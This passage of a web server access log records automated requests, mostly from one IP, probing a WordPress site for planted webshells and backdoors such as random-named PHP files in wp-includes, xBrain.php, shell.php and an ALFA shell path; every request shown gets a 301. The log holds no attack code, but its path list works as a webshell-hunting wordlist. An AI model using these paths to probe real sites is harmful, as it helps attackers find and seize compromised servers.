[16/Apr/2025:16:10:37 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:37 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:38 -0400] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:39 -0400] "GET /wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:39 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:40 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:41 -0400] "GET /wp-files.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:42 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:42 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:43 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:45 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:46 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:47 -0400] "GET /wp-includes//403.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:48 -0400] "GET /wp-includes//defaults.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:49 -0400] "GET /wp-includes//item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:50 -0400] "GET /wp-includes//langar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:50 -0400] "GET /wp-includes//wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:52 -0400] "GET /wp-includes/1DTeo4NlXvb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:52 -0400] "GET /wp-includes/1QVvI3Jefd9.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:53 -0400] "GET /wp-includes/1V7NZKd4MAb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:54 -0400] "GET /wp-includes/1fwQh4mlL6U.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:55 -0400] "GET /wp-includes/25z1pj6D8ho.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:56 -0400] "GET /wp-includes/2CYFwmbVjRf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:57 -0400] "GET /wp-includes/2ECeRgwNa6I.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:58 -0400] "GET /wp-includes/2JZ6GvDSsgd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:10:59 -0400] "GET /wp-includes/2JeUH5dNZ7X.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:00 -0400] "GET /wp-includes/2M5k3hBNA8L.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:01 -0400] "GET /wp-includes/2VGWUt94ypz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:02 -0400] "GET /wp-includes/2VJGUWYBXMZ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:02 -0400] "GET /wp-includes/2fd5iBxGvVt.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:03 -0400] "GET /wp-includes/31vLXnGsWhN.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:04 -0400] "GET /wp-includes/3RTGVYtrpSz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:04 -0400] "GET /wp-includes/3TaxWwPciN5.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:05 -0400] "GET /wp-includes/3UiGPRTjwLI.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:06 -0400] "GET /wp-includes/3Wg6OxdwEuL.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:06 -0400] "GET /wp-includes/3aWTmqSkEDF.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:07 -0400] "GET /wp-includes/3yATdSmwkho.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:08 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:09 -0400] "GET /wp-includes/4Gh2KC3UQEc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:12 -0400] "GET /wp-includes/4HGIbcrUWhy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:13 -0400] "GET /wp-includes/4MkuIlCN8cB.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:13 -0400] "GET /wp-includes/4NDvJxdAckU.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:14 -0400] "GET /wp-includes/4REzCXlesoN.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:14 -0400] "GET /wp-includes/4Y9KOVRvqrP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:16 -0400] "GET /wp-includes/4a8ZmAdfYEk.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:16:11:16 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:16:11:16 -0400] "GET /wp-includes/4oaMT6spgwP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:17 -0400] "GET /wp-includes/5Z4iTjIRAFz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:18 -0400] "GET /wp-includes/5nUKyurCbLe.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:18 -0400] "GET /wp-includes/5qK7TMEc8fY.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:19 -0400] "GET /wp-includes/5tocX6Gkref.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:20 -0400] "GET /wp-includes/624jlHax7f5.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:20 -0400] "GET /wp-includes/6EeSZtdQrch.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:20 -0400] "GET /wp-includes/6I2vUbTadJO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:21 -0400] "GET /wp-includes/6U71KzQC98S.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:21 -0400] "GET /wp-includes/6ZKP9RiYwlM.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:22 -0400] "GET /wp-includes/6g3VEPfspOJ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:22 -0400] "GET /wp-includes/6kjOKB13oiW.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:23 -0400] "GET /wp-includes/7LGSNpCH2Ai.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:23 -0400] "GET /wp-includes/7QkOwJbC4uB.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:24 -0400] "GET /wp-includes/7XhnbeQUrHB.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:24 -0400] "GET /wp-includes/7kGBWef4vJE.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:25 -0400] "GET /wp-includes/7tc9J8MbNDP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:25 -0400] "GET /wp-includes/849MWReQf5d.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:26 -0400] "GET /wp-includes/85YZsyCUMRH.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:26 -0400] "GET /wp-includes/8XnPa2ebzjt.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:27 -0400] "GET /wp-includes/8a1GFlXOC3W.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:27 -0400] "GET /wp-includes/95GjR2oLVAq.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:28 -0400] "GET /wp-includes/9KclI8whVCt.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:28 -0400] "GET /wp-includes/9KoYaRW2ViG.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:28 -0400] "GET /wp-includes/9hloDMCajiE.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:29 -0400] "GET /wp-includes/9wHCYkXhFat.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:29 -0400] "GET /wp-includes/ADdHqTvWe2p.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:30 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:31 -0400] "GET /wp-includes/AYWw86V4lCb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:31 -0400] "GET /wp-includes/Ab5tdXYSp3m.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:32 -0400] "GET /wp-includes/AeLiyXCsWRP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:32 -0400] "GET /wp-includes/Am8DjQ1hYCM.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:33 -0400] "GET /wp-includes/BNdZcrqfp96.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:33 -0400] "GET /wp-includes/BSKlRtNkd7T.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:34 -0400] "GET /wp-includes/BW78qubSIi6.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:34 -0400] "GET /wp-includes/BibpeUT6Srj.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:34 -0400] "GET /wp-includes/BlANITrsFn8.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:35 -0400] "GET /wp-includes/C7aqylzu2vp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:36 -0400] "GET /wp-includes/CQ3u7inwjcm.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:16:11:36 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:16:11:36 -0400] "GET /wp-includes/CWOqpEgKZFG.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:37 -0400] "GET /wp-includes/CZVFJ1iETu9.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:37 -0400] "GET /wp-includes/Cla7mpMXqtZ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:38 -0400] "GET /wp-includes/Cpg5hsHwVa3.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:39 -0400] "GET /wp-includes/CqPtQH6xgFv.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:39 -0400] "GET /wp-includes/D2a4qMfz8OV.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:40 -0400] "GET /wp-includes/D3XbzaLTdoy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:40 -0400] "GET /wp-includes/DBb75TX4aSq.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:41 -0400] "GET /wp-includes/DbBih7UaJ18.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:41 -0400] "GET /wp-includes/DdWzLZVYfG4.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:42 -0400] "GET /wp-includes/DfO9S2sWQeR.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:42 -0400] "GET /wp-includes/E52uQzbthDP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:43 -0400] "GET /wp-includes/E7caMueJAdD.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:16:11:43 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:16:11:43 -0400] "GET /wp-includes/EM2AyNLX1Zx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:44 -0400] "GET /wp-includes/EO2kroQhpUu.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:44 -0400] "GET /wp-includes/EoeIH4JmfTi.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:45 -0400] "GET /wp-includes/F8Jx6Xd2jpQ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:46 -0400] "GET /wp-includes/FBpLfr2oR3M.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:47 -0400] "GET /wp-includes/FRmiwXUtO2K.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:48 -0400] "GET /wp-includes/G3jIOZXasr7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:48 -0400] "GET /wp-includes/GahxXyLrlK3.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:49 -0400] "GET /wp-includes/GlRsTyKuOLA.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:50 -0400] "GET /wp-includes/H4PwluIEUzJ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:50 -0400] "GET /wp-includes/HJen2iTjI54.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:52 -0400] "GET /wp-includes/HdkrAtBgUxW.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:52 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:53 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:53 -0400] "GET /wp-includes/ID3/?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:54 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:54 -0400] "GET /wp-includes/ID3/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:55 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:55 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:56 -0400] "GET /wp-includes/ID3/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:57 -0400] "GET /wp-includes/ID3/module.audio-video.matroska-meta.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:58 -0400] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:58 -0400] "GET /wp-includes/ID3/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:59 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:59 -0400] "GET /wp-includes/ID3/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:11:59 -0400] "GET /wp-includes/ID3/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:00 -0400] "GET /wp-includes/IS1QFBAdReV.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:01 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:01 -0400] "GET /wp-includes/IXR//4pgwp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:02 -0400] "GET /wp-includes/IXR//%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:02 -0400] "GET /wp-includes/IXR//wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:03 -0400] "GET /wp-includes/IXR/%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:03 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:04 -0400] "GET /wp-includes/IXR/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:05 -0400] "GET /wp-includes/IXR/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:06 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:06 -0400] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:07 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:08 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:09 -0400] "GET /wp-includes/IXR/shell.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:09 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:10 -0400] "GET /wp-includes/IXR/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:11 -0400] "GET /wp-includes/Ie9FSsVMDEo.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:12 -0400] "GET /wp-includes/ImZgvy9khUu.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:13 -0400] "GET /wp-includes/IsENazRPM4h.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:14 -0400] "GET /wp-includes/J3N7PX4jYKg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:15 -0400] "GET /wp-includes/J7ZayUDxCQ4.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:16 -0400] "GET /wp-includes/JIz2LsNDm5G.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:17 -0400] "GET /wp-includes/JYR4ws5QDu6.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:18 -0400] "GET /wp-includes/JjIpHUP5ElO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:18 -0400] "GET /wp-includes/JnMRlNQOs3b.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:19 -0400] "GET /wp-includes/K19VSjmkeCT.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:20 -0400] "GET /wp-includes/K8IgxOsEFvo.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:21 -0400] "GET /wp-includes/KHoAlLs3129.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:22 -0400] "GET /wp-includes/LOE5823rYzM.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [16/Apr/2025:16:12:23 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:16:12:23 -0400] "GET /wp-includes/LSHGvrN9Cjf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:24 -0400] "GET /wp-includes/LYw1ni9VJTl.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:26 -0400] "GET /wp-includes/MhZYbFS2rGd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:27 -0400] "GET /wp-includes/MoJhLeWjBrg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:28 -0400] "GET /wp-includes/Mq8vhT4yYVO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:28 -0400] "GET /wp-includes/MxbiKEFOXQy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:29 -0400] "GET /wp-includes/NCImtphZOK5.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:30 -0400] "GET /wp-includes/O5Z8Gyn4EIh.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:31 -0400] "GET /wp-includes/OYStpqjgDZ5.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:32 -0400] "GET /wp-includes/OhpfCSna9Vc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:32 -0400] "GET /wp-includes/OwG5LmjClXZ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:33 -0400] "GET /wp-includes/PBfZp95n2Ud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:35 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:36 -0400] "GET /wp-includes/PHPMailer//2222.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:37 -0400] "GET /wp-includes/PHPMailer//Ab0ut.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:37 -0400] "GET /wp-includes/PHPMailer//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:38 -0400] "GET /wp-includes/PHPMailer//indexx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:39 -0400] "GET /wp-includes/PHPMailer//themes-install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:39 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:39 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:40 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:41 -0400] "GET /wp-includes/PHPMailer/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:41 -0400] "GET /wp-includes/Q4TbrMq6sSk.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:42 -0400] "GET /wp-includes/Q8yL6j2i9zk.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:43 -0400] "GET /wp-includes/QLJoTSZn46j.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:43 -0400] "GET /wp-includes/QewG7L1lTkb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:44 -0400] "GET /wp-includes/QgfAohVSwD1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:45 -0400] "GET /wp-includes/Qj9rebE2xow.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:46 -0400] "GET /wp-includes/Qm9vKED1AXP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:47 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:48 -0400] "GET /wp-includes/Requests//cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:49 -0400] "GET /wp-includes/Requests//hellodoyyl.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:49 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:50 -0400] "GET /wp-includes/Requests/Auth//images.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:50 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:52 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:53 -0400] "GET /wp-includes/Requests/Exception/xBrain.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:54 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:55 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:55 -0400] "GET /wp-includes/Requests/Response//siteindex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:56 -0400] "GET /wp-includes/Requests/Response//wp-theme.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:56 -0400] "GET /wp-includes/Requests/Response/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:57 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:58 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:12:59 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:00 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:00 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:01 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:13:02 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - 